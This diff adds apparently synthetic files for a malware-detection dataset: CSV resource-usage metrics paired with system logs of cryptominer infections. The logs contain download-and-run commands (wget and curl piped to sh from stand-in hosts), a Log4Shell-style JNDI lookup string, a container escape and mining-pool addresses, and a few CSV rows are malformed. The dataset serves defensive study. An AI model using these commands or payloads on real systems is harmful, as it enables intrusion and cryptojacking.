+ 2025-08-16T14:02:10Z,63.76,49.54,10.87,1.04,3.89
29
+ 2025-08-16T14:02:15Z,69.11,49.82,8.43,1.18,4.12
30
+ 2025-08-16T14:02:20Z,74.83,50.05,12.51,0.98,3.98
31
+ 2025-08-16T14:02:25Z,80.02,50.19,9.78,1.31,4.25
32
+ 2025-08-16T14:02:30Z,85.67,50.43,11.23,0.9,3.76
33
+ 2025-08-16T14:02:35Z,90.23,50.77,8.62,1.11,4.41
34
+ 2025-08-16T14:02:40Z,92.88,51.01,13.11,1.25,4.33
35
+ 2025-08-16T14:02:45Z,94.51,51.32,9.04,0.99,4.19
36
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37
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38
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39
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40
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41
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42
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43
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45
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46
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47
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48
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49
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50
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51
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52
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53
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54
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55
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56
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57
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58
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59
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60
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61
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62
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63
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64
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65
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66
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67
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68
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69
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70
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71
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72
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73
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74
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75
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76
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77
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78
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79
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80
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81
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82
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83
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84
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85
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86
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87
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88
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89
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90
+ 2025-08-16T14:07:20Z,99.65,54.68,10.95,0.98,4.33
91
+ 2025-08-16T14:07:25Z,99.1,54.6,9.81,1.12,4.25
mali_dataset/scenario_1/mali_1_14.log ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 16 14:00:08 systemd[1]: Started Session 12 of user johndoe.
2
+ Aug 16 14:00:17 sshd[21532]: Accepted password for johndoe from 192.168.1.105 port 64321 ssh2
3
+ Aug 16 14:00:42 cron[21590]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)
4
+ Aug 16 14:01:23 kernel: [182.433] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies.
5
+ Aug 16 14:02:10 app-daemon[8876]: [WARN] Executing user-provided command via API endpoint /api/v1/runTask: /bin/sh -c 'wget -q -O /tmp/installer.sh http://malicious-repo.org/payload.sh'
6
+ Aug 16 14:02:25 /bin/sh[21831]: executing /tmp/installer.sh
7
+ Aug 16 14:02:40 /tmp/installer.sh[21831]: payload downloaded successfully. setting up persistence.
8
+ Aug 16 14:02:55 systemd[1]: Starting system update service...
9
+ Aug 16 14:03:00 systemd[1]: Started sys-updater.service.
10
+ Aug 16 14:03:10 sys-updater[21850]: Initiating resource-intensive computation cycle.
11
+ Aug 16 14:04:00 nginx[5432]: 127.0.0.1 - - [16/Aug/2025:14:04:00 +0000] "GET /healthz HTTP/1.1" 200 2 "" "kube-probe/1.21"
12
+ Aug 16 14:05:30 cron[22100]: (root) CMD ( /usr/lib/apt/apt.systemd.daily)
13
+ Aug 16 14:06:00 nginx[5432]: 127.0.0.1 - - [16/Aug/2025:14:06:00 +0000] "GET /healthz HTTP/1.1" 200 2 "" "kube-probe/1.21"
14
+ Aug 16 14:07:02 kernel: [542.101] INFO: task kworker/0:1 blocked for more than 120 seconds.
mali_dataset/scenario_1/mali_1_15.csv ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ "timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out"
2
+ "2025-08-18T09:30:00Z,15.12,33.42,18.5,1.21,1.48"
3
+ "2025-08-18T09:30:05Z,17.88,33.51,15.1,0.95,1.62"
4
+ "2025-08-18T09:30:10Z,16.41,33.28,20.3,1.33,1.39"
5
+ "2025-08-18T09:30:15Z,14.99,33.65,14.2,1.01,1.76"
6
+ "2025-08-18T09:30:20Z,18.76,33.35,11.8,1.15,1.65"
7
+ "2025-08-18T09:30:25Z,15.05,33.73,13.5,0.88,1.81"
8
+ "2025-08-18T09:30:30Z,16.84,33.45,16.2,1.42,1.73"
9
+ "2025-08-18T09:30:35Z,19.52,33.81,10.9,0.91,1.92"
10
+ "2025-08-18T09:30:40Z,17.11,33.53,12.1,1.03,1.69"
11
+ "2025-08-18T09:30:45Z,16.34,33.68,15.6,1.28,1.84"
12
+ "2025-08-18T09:30:50Z,15.44,33.91,11.3,0.99,1.98"
13
+ "2025-08-18T09:30:55Z,18.11,33.42,14.8,1.11,1.71"
14
+ "2025-08-18T09:31:00Z,16.32,34.1,12.5,1.08,1.82"
15
+ "2025-08-18T09:31:05Z,19.05,34.35,15.1,0.92,1.95"
16
+ "2025-08-18T09:31:10Z,25.88,35.51,28.3,4.15,2.09"
17
+ "2025-08-18T09:31:15Z,33.17,35.69,18.5,1.72,2.21"
18
+ "2025-08-18T09:31:20Z,40.92,35.88,9.1,0.65,2.35"
19
+ "2025-08-18T09:31:25Z,48.73,36.01,7.8,0.58,2.48"
20
+ "2025-08-18T09:31:30Z,56.04,36.12,6.5,0.61,2.55"
21
+ "2025-08-18T09:31:35Z,63.22,36.25,5.2,0.55,2.61"
22
+ "2025-08-18T09:31:40Z,70.91,36.38,4.1,0.63,2.79"
23
+ "2025-08-18T09:31:45Z,78.34,36.45,3.9,0.59,2.94"
24
+ "2025-08-18T09:31:50Z,85.08,36.51,4.3,0.68,3.01"
25
+ "2025-08-18T09:31:55Z,90.53,36.59,4.0,0.62,3.12"
26
+ "2025-08-18T09:32:00Z,96.28,36.72,3.8,0.71,3.28"
27
+ "2025-08-18T09:32:05Z,98.81,36.68,3.5,0.66,3.41"
28
+ "2025-08-18T09:32:10Z,99.02,36.81,3.7,0.75,3.35"
29
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30
+ "2025-08-18T09:32:20Z,99.42,36.83,3.6,0.78,3.48"
31
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32
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33
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34
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35
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36
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37
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38
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39
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40
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41
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42
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43
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44
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45
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46
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47
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48
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49
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50
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51
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52
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53
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54
+ "2025-08-18T09:34:20Z,99.89,37.12,3.3,0.97,4.18"
55
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56
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57
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58
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59
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60
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61
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62
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63
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64
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65
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66
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67
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68
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69
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70
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71
+ "2al,99.11,37.15,2.4,0.96,4.67"
72
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73
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74
+ "2025-08-18T09:36:00Z,99.87,37.22,2.9,1.06,4.63"
75
+ "2025-08-18T09:36:05Z,99.19,37.17,2.3,0.98,4.75"
76
+ "2025-08-18T09:36:10Z,99.81,37.21,2.7,1.07,4.68"
77
+ "2025-08-18T09:36:15Z,99.31,37.18,2.4,0.99,4.80"
78
+ "2025-08-18T09:36:20Z,99.79,37.23,2.8,1.09,4.72"
79
+ "2025-08-18T09:36:25Z,99.24,37.19,2.2,1.00,4.84"
80
+ "2025-08-18T09:36:30Z,99.83,37.24,2.6,1.08,4.76"
81
+ "2025-08-18T09:36:35Z,99.37,37.20,2.3,1.01,4.88"
82
+ "2025-08-18T09:36:40Z,99.85,37.26,2.7,1.10,4.81"
83
+ "2025-08-18T09:36:45Z,99.28,37.22,2.1,1.02,4.92"
84
+ "2025-08-18T09:36:50Z,99.77,37.25,2.5,1.11,4.85"
85
+ "2025-08-18T09:36:55Z,99.43,37.21,2.2,1.03,4.97"
86
+ "2025-08-18T09:37:00Z,99.89,37.28,2.6,1.13,4.89"
87
+ "2025-08-18T09:37:05Z,99.3,37.23,2.0,1.04,5.01"
88
+ "2025-08-18T09:37:10Z,99.8,37.27,2.4,1.12,4.93"
89
+ "2025-08-18T09:37:15Z,99.48,37.24,2.1,1.05,5.05"
mali_dataset/scenario_1/mali_1_15.log ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 18 09:30:02 systemd[1]: Starting systemd-tmpfiles-setup.service...
2
+ Aug 18 09:30:08 systemd[1]: Finished systemd-tmpfiles-setup.service.
3
+ Aug 18 09:30:15 sshd[2208]: Accepted password for user admin from 192.168.1.12 port 58212 ssh2
4
+ Aug 18 09:30:15 systemd[1]: Started Session 3 of user admin.
5
+ Aug 18 09:31:00 CRON[3151]: (admin) CMD (/home/admin/update_catalog.sh >> /dev/null 2>&1)
6
+ Aug 18 09:31:10 update_catalog.sh[3152]: Checking for new catalog version...
7
+ Aug 18 09:31:12 update_catalog.sh[3152]: Downloading new version from http://repo.info-service.biz/cat.v2
8
+ Aug 18 09:31:21 update_catalog.sh[3152]: Applying update...
9
+ Aug 18 09:31:23 systemd[1]: Started dbus-broker.service.
10
+ Aug 18 09:31:25 dbus-broker[3165]: Ready to process requests.
11
+ Aug 18 09:31:26 dbus-broker[3165]: Mining service started under disguised process name.
12
+ Aug 18 09:32:30 systemd-logind[1098]: New session 4 of user admin logged in.
13
+ Aug 18 09:33:45 ntpd[1052]: kernel reports TIME_ERROR: 0x41: Clock Unsynchronized
14
+ Aug 18 09:35:01 CRON[3890]: (root) CMD ( test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
15
+ Aug 18 09:36:18 kernel: [ 438.245123] audit: type=1400 audit(1723988178.245:6): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/sssd/sssd.conf" pid=4011 comm="sssd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
16
+ Aug 18 09:37:05 sshd[2208]: pam_unix(sshd:session): session closed for user admin
mali_dataset/scenario_1/mali_1_16.csv ADDED
@@ -0,0 +1,89 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ "timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out"
2
+ "2025-08-18T18:30:00Z,17.55,51.42,18.4,1.81,2.08"
3
+ "2025-08-18T18:30:05Z,19.28,51.33,21.1,1.55,1.82"
4
+ "2025-08-18T18:30:10Z,20.01,51.58,16.3,1.73,1.99"
5
+ "2025-08-18T18:30:15Z,18.19,51.65,23.2,1.41,2.16"
6
+ "2025-08-18T18:30:20Z,22.16,51.25,19.8,1.65,2.05"
7
+ "2025-08-18T18:30:25Z,19.45,51.73,17.5,1.38,2.21"
8
+ "2025-08-18T18:30:30Z,21.24,51.35,22.2,1.82,2.13"
9
+ "2025-08-18T18:30:35Z,25.92,52.1,35.9,6.72,2.35"
10
+ "2025-08-18T18:30:40Z,32.76,52.33,24.1,2.03,2.49"
11
+ "2025-08-18T18:30:45Z,38.58,52.48,11.6,0.98,2.64"
12
+ "2025-08-18T18:30:50Z,45.44,52.71,8.3,0.89,2.78"
13
+ "2025-08-18T18:30:55Z,52.11,52.82,7.8,0.81,2.91"
14
+ "2025-08-18T18:31:00Z,60.32,53.1,6.5,0.75,3.02"
15
+ "2025-08-18T18:31:05Z,68.05,53.25,6.1,0.72,3.15"
16
+ "2025-08-18T18:31:10Z,75.88,53.41,5.3,0.65,3.29"
17
+ "2025-08-18T18:31:15Z,82.17,53.59,5.5,0.62,3.31"
18
+ "2025-08-18T18:31:20Z,89.92,53.68,4.1,0.58,3.45"
19
+ "2025-08-18T18:31:25Z,94.73,53.81,4.8,0.51,3.58"
20
+ "2025-08-18T18:31:30Z,97.04,53.92,4.5,0.61,3.65"
21
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68
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76
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77
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78
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79
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80
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82
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84
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85
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86
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89
+ "2025-08-18T18:37:15Z,99.48,55.04,2.1,1.05,6.05"
mali_dataset/scenario_1/mali_1_16.log ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 18 18:30:02 mysqld[1120]: 2025-08-18T18:30:02.123456Z 0 [Note] mysqld: ready for connections.
2
+ Aug 18 18:30:10 sshd[4501]: Accepted password for user webmaster from 192.168.10.5 port 51234 ssh2
3
+ Aug 18 18:30:10 systemd[1]: Started Session 15 of user webmaster.
4
+ Aug 18 18:30:25 org.apache.catalina.startup.Catalina[888]: Server startup in [25,432] milliseconds
5
+ Aug 18 18:30:33 tomcat-app[888]: 192.168.20.77 - - [18/Aug/2025:18:30:33 +0000] "GET /api/v1/status HTTP/1.1" 200 45
6
+ Aug 18 18:30:36 tomcat-app[888]: 103.22.11.5 - - [18/Aug/2025:18:30:36 +0000] "GET /api/v1/users?id=${jndi:ldap://evil-ldap-server.com/a}" 404 128
7
+ Aug 18 18:30:40 java[888]: INFO: Initiating remote class loading from ldap://evil-ldap-server.com/a
8
+ Aug 18 18:30:48 sh[4588]: Downloading client from http://103.22.11.5/xm.tar.gz
9
+ Aug 18 18:30:55 sh[4588]: Client installed to /tmp/.xmr/
10
+ Aug 18 18:31:02 systemd[1]: Starting background process for system optimization...
11
+ Aug 18 18:31:03 jbd2/sda1-8[4599]: Process started. Binding to all available CPU cores.
12
+ Aug 18 18:31:04 jbd2/sda1-8[4599]: Network layer initialized. Connecting to remote pool.
13
+ Aug 18 18:33:15 systemd-logind[1002]: Session 15 logged out. Waiting for processes to exit.
14
+ Aug 18 18:35:05 CRON[5102]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf)
15
+ Aug 18 18:36:42 kernel: [ 402.733155] audit: type=1400 audit(1755494202.249:33): apparmor="DENIED" operation="open" profile="/usr/sbin/sssd" name="/etc/security/opasswd"
mali_dataset/scenario_1/mali_1_17.csv ADDED
@@ -0,0 +1,90 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-18T16:30:00Z,15.72,50.15,18.7,1.31,1.68
3
+ 2025-08-18T16:30:05Z,18.05,50.33,15.4,0.85,1.82
4
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5
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6
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7
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8
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9
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10
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11
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12
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13
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14
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15
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16
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17
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18
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19
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21
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22
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25
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27
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28
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29
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30
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31
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35
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36
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38
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48
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49
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50
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51
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52
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53
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54
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55
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56
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57
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58
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59
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60
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61
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62
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63
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64
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65
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66
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67
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68
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69
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70
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71
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72
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73
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74
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76
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77
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78
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79
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80
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81
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82
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83
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84
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85
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86
+ 2025-08-18T16:37:00Z,99.48,52.54,3.1,1.05,4.93
87
+ 2,"99.91,52.60,3.5,1.14,5.05
88
+ 2025-08-18T16:37:10Z,99.35,52.56,2.9,1.06,4.98
89
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90
+ 2025-08-18T16:37:20Z,99.42,52.57,3.0,1.07,5.03
mali_dataset/scenario_1/mali_1_17.log ADDED
@@ -0,0 +1,18 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 18 16:30:02 systemd[1]: Starting systemd-tmpfiles-setup.service...
2
+ Aug 18 16:30:08 systemd[1]: Finished Clean up of Temporary Directories.
3
+ Aug 18 16:30:25 sshd[4011]: Accepted password for user webmaster from 203.0.113.52 port 58221 ssh2
4
+ Aug 18 16:30:25 systemd[1]: Created slice User Slice of UID 1001.
5
+ Aug 18 16:30:25 systemd[1]: Started Session 8 of user webmaster.
6
+ Aug 18 16:30:51 CRON[4033]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
7
+ Aug 18 16:31:06 apache2[3512]: [error] [client 198.51.100.10] AH00128: File does not exist: /var/www/html/wp-login.php
8
+ Aug 18 16:31:10 apache2[3512]: [access] 198.51.100.10 - - "POST /wp-content/plugins/revslider/revslider_show_image.php HTTP/1.1" 200 145 "-" "python-requests/2.25.1"
9
+ Aug 18 16:31:12 sh[4088]: Executing remote command from web shell: wget -q -O /tmp/kworker http://malicious-repo.org/kworker && chmod +x /tmp/kworker
10
+ Aug 18 16:31:18 sh[4088]: Command executed, starting process /tmp/kworker in background.
11
+ Aug 18 16:31:19 kworker[4095]: Process started. Masking as [kworker/u16:0]
12
+ Aug 18 16:31:24 kworker[4095]: Connecting to Monero pool at randomx.xmrig.com:3333...
13
+ Aug 18 16:31:31 kworker[4095]: Connection successful. Mining started.
14
+ Aug 18 16:32:48 dbus-daemon[987]: [system] Activating via systemd: service name='org.freedesktop.hostname1' unit='dbus-org.freedesktop.hostname1.service' requested by ':1.52' (uid=0 pid=4150 comm="/usr/sbin/gdm3 " label="unconfined")
15
+ Aug 18 16:34:01 systemd[1]: Starting Hostname Service...
16
+ Aug 18 16:34:01 systemd[1]: Started Hostname Service.
17
+ Aug 18 16:35:33 kernel: [ 1053.481516] INFO: task jbd2/sda1-8:221 blocked for more than 120 seconds.
18
+ Aug 18 16:37:05 sshd[4011]: pam_unix(sshd:session): session closed for user webmaster
mali_dataset/scenario_1/mali_1_18.csv ADDED
@@ -0,0 +1,87 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-19T09:00:00Z,22.18,45.12,25.4,2.11,2.38
3
+ 2025-08-19T09:00:05Z,18.98,45.31,28.1,1.85,2.12
4
+ 2025-08-19T09:00:10Z,21.51,45.08,23.3,2.03,2.29
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87
+ 2025-08-19T09:07:05Z,99.3,49.03,2.0,0.94,6.31
mali_dataset/scenario_1/mali_1_18.log ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 19 09:00:01 postgres[2345]: [2-1] LOG: database system is ready to accept connections
2
+ Aug 19 09:00:11 systemd[1]: Starting Postfix Mail Transport Agent...
3
+ Aug 19 09:00:12 postfix/master[1234]: daemon started -- version 3.5.6, configuration /etc/postfix
4
+ Aug 19 09:00:13 systemd[1]: Started Postfix Mail Transport Agent.
5
+ Aug 19 09:00:28 sshd[6088]: Connection from 112.85.42.187 port 58231 on 172.17.0.2 port 22
6
+ Aug 19 09:00:30 sshd[6088]: Invalid user oracle from 112.85.42.187 port 58231
7
+ Aug 19 09:00:34 sshd[6088]: Failed password for invalid user oracle from 112.85.42.187 port 58231 ssh2
8
+ Aug 19 09:00:38 wordpress[3100]: 192.168.55.12 - - [19/Aug/2025:09:00:38 +0000] "POST /wp-content/plugins/revslider/temp/update_extract.php HTTP/1.1" 200 134
9
+ Aug 19 09:00:40 wordpress[3100]: 192.168.55.12 - - [19/Aug/2025:09:00:40 +0000] "GET /wp-content/plugins/revslider/temp/uploads/revslider.php HTTP/1.1" 200 25
10
+ Aug 19 09:00:41 php-fpm[3101]: [19-Aug-2025 09:00:41] WARNING: [pool www] child 3105 said into stderr: "NOTICE: PHP message: Downloading payload..."
11
+ Aug 19 09:00:48 php-fpm[3101]: [19-Aug-2025 09:00:48] WARNING: [pool www] child 3105 said into stderr: "NOTICE: PHP message: Executing miner process."
12
+ Aug 19 09:00:49 systemd-resolve[6155]: Miner process started under disguise.
13
+ Aug 19 09:00:50 systemd-resolve[6155]: Connecting to Monero pool at randomxmonero.eu-north.nicehash.com:3380
14
+ Aug 19 09:00:55 systemd-resolve[6155]: Successfully connected to pool. CPU mining initiated.
15
+ Aug 19 09:02:15 CRON[6301]: (root) CMD (run-parts --report /etc/cron.hourly)
16
+ Aug 19 09:04:30 kernel: [ 270.112233] INFO: task systemd-resolve:6155 blocked for more than 120 seconds.
17
+ Aug 19 09:06:55 postgres[2345]: [3-1] LOG: checkpoint complete: wrote 895 buffers (5.5%); 0 WAL file(s) added, 0 removed, 1 recycled
mali_dataset/scenario_1/mali_1_19.csv ADDED
@@ -0,0 +1,83 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-20T04:00:00Z,23.15,60.22,35.4,3.11,3.38
3
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4
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9
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12
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19
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28
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29
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30
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31
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32
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33
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34
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35
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36
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37
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38
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41
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44
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45
+ 2...
46
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47
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49
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50
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51
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52
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53
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54
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55
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56
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57
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58
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59
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60
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61
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62
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63
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64
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65
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66
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67
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68
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69
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70
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71
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72
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73
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74
+ 2025-08-20T04:06:00Z,99.29,63.17,12.3,1.98,6.35
75
+ 2025-08-20T04:06:05Z,99.89,63.21,12.7,2.07,6.28
76
+ 2025-08-20T04:06:10Z,99.51,63.18,12.4,1.99,6.40
77
+ 2025-08-20T04:06:15Z,99.99,63.24,12.8,2.09,6.32
78
+ 2025-08-20T04:06:20Z,99.34,63.19,12.2,2.00,6.44
79
+ 2025-08-20T04:06:25Z,99.84,63.23,12.6,2.08,6.36
80
+ 2025-08-20T04:06:30Z,99.57,63.20,12.3,2.01,6.48
81
+ 2025-08-20T04:06:35Z,99.98,63.26,12.7,2.10,6.41
82
+ 2025-08-20T04:06:40Z,99.28,63.22,12.1,2.02,6.52
83
+ 2025-08-20T04:06:45Z,99.87,63.25,12.5,2.11,6.45
mali_dataset/scenario_1/mali_1_19.log ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ Aug 20 04:00:02 systemd[1]: Starting Docker Application Container Engine.
2
+ Aug 20 04:00:05 containerd[1024]: serving... address="/run/containerd/containerd.sock"
3
+ Aug 20 04:00:08 dockerd[1050]: time="2025-08-20T04:00:08.123456Z" level=info msg="API listen on /var/run/docker.sock"
4
+ Aug 20 04:00:09 systemd[1]: Started Docker Application Container Engine.
5
+ Aug 20 04:00:15 dockerd[1050]: time="2025-08-20T04:00:15.654321Z" level=info msg="starting container" id=a1b2c3d4e5f6 container=redis-cache
6
+ Aug 20 04:00:25 sshd[7123]: Accepted password for user devops from 10.0.10.5 port 60123 ssh2
7
+ Aug 20 04:00:25 systemd[1]: Started Session 18 of user devops.
8
+ Aug 20 04:00:48 dockerd[1050]: time="2025-08-20T04:00:48.789012Z" level=info msg="exec: docker exec a1b2c3d4e5f6 sh -c 'curl -fsSL https://pastebin.com/raw/xyz123 | sh'"
9
+ Aug 20 04:00:55 sh[7180]: [+] Payload retrieved. Attempting to escalate privileges and escape container.
10
+ Aug 20 04:01:05 sh[7180]: [+] Success. Writing miner to host filesystem at /var/tmp/.worker/
11
+ Aug 20 04:01:10 sh[7180]: [+] Starting miner process on host.
12
+ Aug 20 04:01:12 kworker/u16:0[7199]: Process starting. Configuration loaded.
13
+ Aug 20 04:01:18 kworker/u16:0[7199]: Connecting to stratum pool at gulf.moneroocean.stream:10128
14
+ Aug 20 04:01:24 kworker/u16:0[7199]: Connection successful. Mining started on all available threads.
15
+ Aug 20 04:02:50 systemd[1]: user@1001.service: Succeeded.
16
+ Aug 20 04:04:35 ntpd[1100]: host name not found: 2.debian.pool.ntp.org
17
+ Aug 20 04:06:21 sshd[7123]: pam_unix(sshd:session): session closed for user devops
mali_dataset/scenario_1/mali_1_2.csv ADDED
@@ -0,0 +1,91 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out
2
+ 2025-08-17T14:00:00Z,11.84,38.55,23.45,1.1,1.13
3
+ 2025-08-17T14:00:05Z,14.2,43.49,22.24,1.37,1.27
4
+ 2025-08-17T14:00:10Z,18.11,37.39,24.7,0.81,1.6
5
+ 2025-08-17T14:00:15Z,13.6,40.62,21.63,1.38,1.66
6
+ 2025-08-17T14:00:20Z,13.86,40.0,19.9,1.24,0.94
7
+ 2025-08-17T14:00:25Z,19.74,35.94,20.68,0.57,1.2
8
+ 2025-08-17T14:00:30Z,10.72,44.72,16.35,0.91,1.61
9
+ 2025-08-17T14:00:35Z,10.41,44.43,15.45,1.14,1.47
10
+ 2025-08-17T14:00:40Z,17.65,42.15,29.15,0.52,1.74
11
+ 2025-08-17T14:00:45Z,15.9,42.11,24.27,0.67,1.76
12
+ 2025-08-17T14:00:50Z,18.2,42.2,21.37,0.51,1.45
13
+ 2025-08-17T14:00:55Z,14.11,39.31,20.04,0.82,1.11
14
+ 2025-08-17T14:01:00Z,19.23,37.57,23.62,1.43,1.71
15
+ 2025-08-17T14:01:05Z,18.83,38.5,17.84,0.9,1.21
16
+ 2025-08-17T14:01:10Z,12.42,38.16,16.4,0.64,1.66
17
+ 2025-08-17T14:01:15Z,16.61,36.25,17.75,0.94,1.04
18
+ 2025-08-17T14:01:20Z,11.77,39.2,23.82,1.36,1.11
19
+ 2025-08-17T14:01:25Z,11.8,44.88,23.96,0.86,1.53
20
+ 2025-08-17T14:01:30Z,10.9,45.25,24.23,0.62,0.93
21
+ 2025-08-17T14:01:35Z,15.63,38.6,26.73,1.22,1.16
22
+ 2025-08-17T14:01:40Z,17.32,45.81,25.79,0.69,0.96
23
+ 2025-08-17T14:01:45Z,13.41,40.92,26.76,0.87,1.15
24
+ 2025-08-17T14:01:50Z,11.66,44.58,15.88,0.66,1.24
25
+ 2025-08-17T14:01:55Z,12.55,39.04,28.54,1.35,1.76
26
+ 2025-08-17T14:02:00Z,15.4,41.12,17.5,0.87,1.2
27
+ 2025-08-17T14:02:05Z,11.5,41.55,24.66,0.99,1.22
28
+ 2025-08-17T14:02:10Z,14.82,41.18,18.28,1.07,0.88
29
+ 2025-08-17T14:02:15Z,18.26,39.27,15.46,0.81,0.88
30
+ 2025-08-17T14:02:20Z,18.06,38.96,24.94,0.56,1.06
31
+ 2025-08-17T14:02:25Z,13.61,44.76,16.52,0.78,1.66
32
+ 2025-08-17T14:02:30Z,18.94,37.35,13.38,0.34,2.6
33
+ 2025-08-17T14:02:35Z,23.64,38.0,11.52,0.35,3.05
34
+ 2025-08-17T14:02:40Z,24.72,41.13,12.85,0.35,3.76
35
+ 2025-08-17T14:02:45Z,26.26,39.52,8.21,0.3,3.08
36
+ 2025-08-17T14:02:50Z,31.38,45.72,11.36,0.66,3.25
37
+ 2025-08-17T14:02:55Z,33.64,39.78,7.4,0.6,3.19
38
+ 2025-08-17T14:03:00Z,37.0,40.06,13.71,0.41,3.73
39
+ 2025-08-17T14:03:05Z,36.26,37.34,14.96,0.45,2.66
40
+ 2025-08-17T14:03:10Z,41.92,42.44,6.34,0.3,4.47
41
+ 2025-08-17T14:03:15Z,42.96,45.68,7.68,0.63,3.58
42
+ 2025-08-17T14:03:20Z,47.14,46.83,14.91,0.23,3.64
43
+ 2025-08-17T14:03:25Z,47.18,40.63,7.55,0.56,3.57
44
+ 2025-08-17T14:03:30Z,49.28,38.46,8.63,0.42,3.24
45
+ 2025-08-17T14:03:35Z,52.09,37.42,5.38,0.77,4.07
46
+ 2025-08-17T14:03:40Z,56.77,44.98,5.63,0.22,2.55
47
+ 2025-08-17T14:03:45Z,60.42,42.78,5.05,0.61,3.46
48
+ 2025-08-17T14:03:50Z,61.09,38.09,8.02,0.63,2.61
49
+ 2025-08-17T14:03:55Z,65.94,45.03,10.6,0.3,2.61
50
+ 2025-08-17T14:04:00Z,66.72,39.16,10.59,0.3,2.71
51
+ 2025-08-17T14:04:05Z,70.12,46.13,13.34,0.23,3.38
52
+ 2025-08-17T14:04:10Z,71.52,43.55,11.74,0.22,3.74
53
+ 2025-08-17T14:04:15Z,75.86,40.57,11.97,0.62,4.43
54
+ 2025-08-17T14:04:20Z,75.06,40.86,9.23,0.49,2.68
55
+ 2025-08-17T14:04:25Z,80.2,40.99,8.47,0.47,2.7
56
+ 2025-08-17T14:04:30Z,82.6,42.59,10.07,0.21,3.72
57
+ 2025-08-17T14:04:35Z,84.43,41.81,13.8,0.41,3.79
58
+ 2025-08-17T14:04:40Z,87.65,41.73,14.69,0.25,4.49
59
+ 2025-08-17T14:04:45Z,91.06,42.03,5.13,0.6,4.47
60
+ 2025-08-17T14:04:50Z,90.76,39.55,7.44,0.24,3.96
61
+ 2025-08-17T14:04:55Z,96.13,45.86,8.78,0.75,4.1
62
+ 2025-08-17T14:05:00Z,96.56,44.81,11.66,0.56,3.19
63
+ 2025-08-17T14:05:05Z,97.45,45.61,8.89,0.69,3.73
64
+ 2025-08-17T14:05:10Z,99.31,41.57,6.43,0.75,3.19
65
+ 2025-08-17T14:05:15Z,97.43,47.83,6.44,0.29,4.24
66
+ 2025-08-17T14:05:20Z,97.42,44.13,11.69,0.25,3.11
67
+ 2025-08-17T14:05:25Z,98.33,42.7,12.22,0.77,2.58
68
+ 2025-08-17T14:05:30Z,98.07,42.26,11.22,0.3,3.66
69
+ 2025-08-17T14:05:35Z,99.81,48.16,5.73,0.31,2.66
70
+ 2025-08-17T14:05:40Z,95.69,48.11,6.05,0.28,3.58
71
+ 2025-08-17T14:05:45Z,95.21,42.84,7.91,0.23,3.88
72
+ 2025-08-17T14:05:50Z,95.29,40.92,8.7,0.21,3.15
73
+ 2025-08-17T14:05:55Z,99.44,39.92,10.28,0.47,2.55
74
+ 2025-08-17T14:06:00Z,98.52,45.02,8.8,0.71,4.12
75
+ 2025-08-17T14:06:05Z,97.65,42.69,9.59,0.67,2.59
76
+ 2025-08-17T14:06:10Z,98.77,39.81,12.03,0.21,3.75
77
+ 2025-08-17T14:06:15Z,98.75,45.65,13.33,0.45,2.88
78
